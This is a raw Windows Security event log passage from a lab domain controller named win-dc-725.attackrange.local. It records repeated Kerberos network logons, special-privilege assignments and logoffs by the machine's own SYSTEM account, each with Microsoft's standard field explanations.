-SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249490 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE47A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249489 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE47A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64266 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249488 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE47A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249487 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4744 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249486 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4744 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64265 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249485 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4744 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249484 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE46DE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249483 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE46DE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64264 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249482 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE46DE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249481 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE467D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249480 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE467D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64263 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249479 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE467D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249502 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE493B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249501 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE493B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64270 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249500 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE493B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249499 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE48DA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249498 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE48DA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64269 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249497 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE48DA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249496 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4874 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249495 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4874 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64268 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249494 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4874 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249493 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4813 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249492 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4813 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64267 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249491 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4813 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249514 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4ACC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249513 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4ACC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64274 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249512 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4ACC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249511 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4A6B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249510 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4A6B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64273 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) 